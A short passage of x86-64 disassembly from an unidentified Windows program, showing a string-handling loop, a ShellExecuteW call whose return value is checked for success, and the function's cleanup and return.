cmp word [rsi + rbx*2 + 2], ax
lea rbx, [rbx + 1]
jne 0x140003d90
lea rdi, [rbx + rbx]
mov rdx, rsi
mov r8, rdi
mov rcx, rbp
call fcn.14000a130
movzx eax, word [0x140022064]
mov word [rdi + rbp], ax
mov rcx, rsi
call fcn.14000cd64
test rbp, rbp
je 0x140003e16
call fcn.1400037d0
mov rbx, rax
test rax, rax
je 0x140003e0e
mov dword [rsp + 0x28], 1
mov r9, rax
mov r8, rbp
mov qword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov rcx, rbp
mov rdi, rax
call fcn.14000cd64
mov rcx, rbx
call fcn.14000cd64
cmp edi, 0x20
setg al
jmp 0x140003e18
mov rcx, rbp
call fcn.14000cd64
xor al, al
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.140005df0
lea r11, [rsp + 0x460]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret